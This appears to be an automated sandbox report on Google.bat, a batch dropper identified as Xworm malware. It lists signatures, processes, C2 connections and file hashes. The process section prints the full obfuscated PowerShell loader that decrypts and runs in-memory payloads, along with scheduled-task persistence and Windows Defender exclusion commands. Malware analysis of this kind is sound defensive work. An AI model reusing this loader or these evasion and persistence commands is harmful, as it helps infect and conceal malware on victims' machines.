Analysis Overview
SHA256
7655c2bdc494c15add99152e3761b5f2986a8792e4a0e6b5c92c04a077afd12a
Threat Level: Known bad
The file Google.bat was found to be: Known bad.
Malicious Activity Summary
Contains code to disable Windows Defender
Xworm
Detect Xworm Payload
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Drops startup file
Legitimate hosting services abused for malware hosting/C2
Adds Run key to start application
Enumerates physical storage devices
Suspicious use of SetWindowsHookEx
Modifies registry class
Delays execution with timeout.exe
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-11 17:34
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-11 17:34
Reported
2024-06-11 17:37
Platform
win11-20240426-en
Max time kernel
106s
Max time network
107s
Command Line
Signatures
Contains code to disable Windows Defender
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Xworm
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XClient.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2551177587-3778486488-1329702901-1000\Software\Microsoft\Windows\CurrentVersion\Run\XClient = "C:\\Users\\Admin\\AppData\\Roaming\\XClient.exe" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Enumerates physical storage devices
Delays execution with timeout.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\timeout.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2551177587-3778486488-1329702901-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Google.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F0AEIMvG2zG4a7mkiHp8WfewLWkdvtnVBg/lUw2q//0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oKVlDoSpfXHs3o6fj3e9fw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QiROp=New-Object System.IO.MemoryStream(,$param_var); $pgREA=New-Object System.IO.MemoryStream; $wQkXX=New-Object System.IO.Compression.GZipStream($QiROp, [IO.Compression.CompressionMode]::Decompress); $wQkXX.CopyTo($pgREA); $wQkXX.Dispose(); $QiROp.Dispose(); $pgREA.Dispose(); $pgREA.ToArray();}function execute_function($param_var,$param2_var){ $emIUt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ahHEY=$emIUt.EntryPoint; $ahHEY.Invoke($null, $param2_var);}$YIJlP = 'C:\Users\Admin\AppData\Local\Temp\Google.bat';$host.UI.RawUI.WindowTitle = $YIJlP;$RbsDZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($YIJlP).Split([Environment]::NewLine);foreach ($JlGmp in $RbsDZ) { if ($JlGmp.StartsWith(':: ')) { $ADTZu=$JlGmp.Substring(3); break; }}$payloads_var=[string[]]$ADTZu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_391_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_391.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_391.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_391.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F0AEIMvG2zG4a7mkiHp8WfewLWkdvtnVBg/lUw2q//0='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('oKVlDoSpfXHs3o6fj3e9fw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $QiROp=New-Object System.IO.MemoryStream(,$param_var); $pgREA=New-Object System.IO.MemoryStream; $wQkXX=New-Object System.IO.Compression.GZipStream($QiROp, [IO.Compression.CompressionMode]::Decompress); $wQkXX.CopyTo($pgREA); $wQkXX.Dispose(); $QiROp.Dispose(); $pgREA.Dispose(); $pgREA.ToArray();}function execute_function($param_var,$param2_var){ $emIUt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ahHEY=$emIUt.EntryPoint; $ahHEY.Invoke($null, $param2_var);}$YIJlP = 'C:\Users\Admin\AppData\Roaming\startup_str_391.bat';$host.UI.RawUI.WindowTitle = $YIJlP;$RbsDZ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($YIJlP).Split([Environment]::NewLine);foreach ($JlGmp in $RbsDZ) { if ($JlGmp.StartsWith(':: ')) { $ADTZu=$JlGmp.Substring(3); break; }}$payloads_var=[string[]]$ADTZu.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\XClient.exe'
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpE24D.tmp.bat""
C:\Windows\system32\timeout.exe
timeout 3
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 104.20.3.235:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | 235.3.20.104.in-addr.arpa | udp |
| US | 147.185.221.19:60312 | tcp | |
| US | 147.185.221.19:60312 | tcp | |
| US | 147.185.221.19:60312 | tcp | |
| US | 147.185.221.19:60312 | tcp |
Files
memory/2252-0-0x00007FFEA07F3000-0x00007FFEA07F5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xl1mehg4.ued.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2252-9-0x000001FDAEF20000-0x000001FDAEF42000-memory.dmp
memory/2252-10-0x00007FFEA07F0000-0x00007FFEA12B2000-memory.dmp
memory/2252-11-0x00007FFEA07F0000-0x00007FFEA12B2000-memory.dmp
memory/2252-12-0x00007FFEA07F0000-0x00007FFEA12B2000-memory.dmp
memory/2252-13-0x000001FDAEF80000-0x000001FDAEF88000-memory.dmp
memory/2252-14-0x000001FDAEFC0000-0x000001FDAEFDA000-memory.dmp
memory/2396-24-0x00007FFEA07F0000-0x00007FFEA12B2000-memory.dmp
memory/2396-25-0x00007FFEA07F0000-0x00007FFEA12B2000-memory.dmp
memory/2396-26-0x00007FFEA07F0000-0x00007FFEA12B2000-memory.dmp
memory/2396-29-0x00007FFEA07F0000-0x00007FFEA12B2000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 44deba63627038600c81602e36dc31fa |
| SHA1 | c34bce89e0ba9160230e2992cee5044ce56d5ec3 |
| SHA256 | 06548ad81ab3c34bfc8e244b32886d3bf907b84bcc05d5bd5542666fe9fb2f39 |
| SHA512 | 1923de48edf165ffb34dcb99453d9e211e2f1d071968dbba74b6038ba41efeb3f452baa90f204ffbdaecb603804a7ba57647f52d640d61bd1fda7ac305608920 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 7c6fe7c423380b59d82d999572ed03d1 |
| SHA1 | 4a07399f1714b5cfaea2f92a952d1f4473c216ae |
| SHA256 | acc79cc65eaea62a945398adad81cb5615e1480fa659c904aa5cd450165c3d66 |
| SHA512 | 6e617a604568bafa22773bd3dab3b681ccfd6869ded8e11802cbbdd9ea71d4998e2a1bfcdcf07c4ec473c3b028fe593448a33e7e9c904792221e89fb8359d665 |
C:\Users\Admin\AppData\Roaming\startup_str_391.vbs
| MD5 | e62962e17c01c54ab065324283b3e231 |
| SHA1 | cbbf4a160353474823f9aec0392c35b216d31367 |
| SHA256 | 1a4a81f0ae745a350553921efd851eb11ed43e978c9f17e133a9b8209090291b |
| SHA512 | 58c87006da0a58c13755849f2c47197a316a6e3e45d1a6021f7e65fc3fc228bf3969fd4939468e34061afd2399dd3cd5654ef6928f72eb92e28d932b12fe2988 |
C:\Users\Admin\AppData\Roaming\startup_str_391.bat
| MD5 | 371c4eed87f5fde6328ef09738932b2f |
| SHA1 | baa8bfb9b05dd2890b0d687e743c2b07f2026a46 |
| SHA256 | 7655c2bdc494c15add99152e3761b5f2986a8792e4a0e6b5c92c04a077afd12a |
| SHA512 | d27f04a58868d55db861cd8bce600826351db92edc2b7fb49df5837ac625565037712c7ee1f3f253e57303d2c03a31f8d85cb5874b8a11b132f61c3fd9015262 |
memory/900-47-0x000002B72D8A0000-0x000002B72D8D4000-memory.dmp
memory/2252-48-0x00007FFEA07F0000-0x00007FFEA12B2000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 05b3cd21c1ec02f04caba773186ee8d0 |
| SHA1 | 39e790bfe10abf55b74dfb3603df8fcf6b5e6edb |
| SHA256 | 911efc5cf9cbeb697543eb3242f5297e1be46dd6603a390140a9ff031ed9e1e8 |
| SHA512 | e751008b032394817beb46937fd93a73be97254c2be94dd42f22fb1306d2715c653ece16fa96eab1a3e73811936768cea6b37888437086fc6f3e3e793a2515eb |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6f0e62045515b66d0a0105abc22dbf19 |
| SHA1 | 894d685122f3f3c9a3457df2f0b12b0e851b394c |
| SHA256 | 529811e4d3496c559f3bd92cd877b93b719c3ac4834202aa76ab9e16e25f9319 |
| SHA512 | f78426df6032ee77f8c463446ab1c6bb4669ef7a2463dead831ec4ff83a07d7dc702d79372d8bcaf4594bf0fb6e11e9f027f3e0325de9b19be5f51b7b80ed54a |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 8cb7f4b4ab204cacd1af6b29c2a2042c |
| SHA1 | 244540c38e33eac05826d54282a0bfa60340d6a1 |
| SHA256 | 4994013dabe4f131d401879278eee147add6349124ea6452358dca7e2344c7a6 |
| SHA512 | 7651cb6863a425840db610253151e271d3e8da26a8c633ce484247266fa226792ecb84b9578df3ab17fef84a5dfcad417b63a7df59c9650a907e08d59b91dd6e |
memory/900-92-0x000002B72DC20000-0x000002B72DC2C000-memory.dmp
memory/900-93-0x000002B72D5E0000-0x000002B72D5EE000-memory.dmp
memory/900-94-0x000002B72D870000-0x000002B72D87C000-memory.dmp
memory/900-110-0x000002B72E090000-0x000002B72E0A2000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6ed6547d270ec2a3219183bfa73bc09b |
| SHA1 | efbcbdbdccab903a79b2b0a65d882eca8bb81363 |
| SHA256 | f7511aa08a289c57af48cfffb1361623c47df6324b80f94841ba69c9497f9ac2 |
| SHA512 | d396cd37f446f9798dcd60229f0c2f55a4bdc0541149dea4be51236e7d91bc65f2bf9eee8327beafc3fe387dded9c3cc049e2101137e73956194e88939a7ec72 |
C:\Users\Admin\AppData\Local\Temp\tmpE24D.tmp.bat
| MD5 | 241d43c2738a5f29663a9ff4be9a5a53 |
| SHA1 | c31780daecb59111ae729740876823dc3df898c9 |
| SHA256 | 0c55f2e2c73813817a27443e0730b74f3e497140fce73dcadfb10be399418bcb |
| SHA512 | ad4e069f1ca536cf6e9b53c9698c56ded4808df9d6a32a4bf769f23b445b7704b5c985d916f484b58370cec095ed9f73c547bd09dbed0db9dd360a4c3885520f |